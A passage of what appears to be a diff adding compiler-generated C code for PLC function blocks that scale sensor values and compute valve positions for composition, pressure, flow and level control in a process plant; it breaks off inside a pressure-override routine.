// SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->INPUT_UINT,0,retain) + __INIT_VAR(data__->OUTPUT_INT,0,retain) + __INIT_VAR(data__->DIV3_OUT,0,retain) + __INIT_VAR(data__->ABS8_OUT,0,retain) + __INIT_VAR(data__->UINT_TO_INT9_OUT,0,retain) +} + +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV3_OUT,,DIV__UINT__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->INPUT_UINT,), + (UINT)2)); + __SET_VAR(data__->,ABS8_OUT,,ABS__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->DIV3_OUT,))); + __SET_VAR(data__->,UINT_TO_INT9_OUT,,UINT_TO_INT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->ABS8_OUT,))); + __SET_VAR(data__->,OUTPUT_INT,,__GET_VAR(data__->UINT_TO_INT9_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_SIGNED_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + 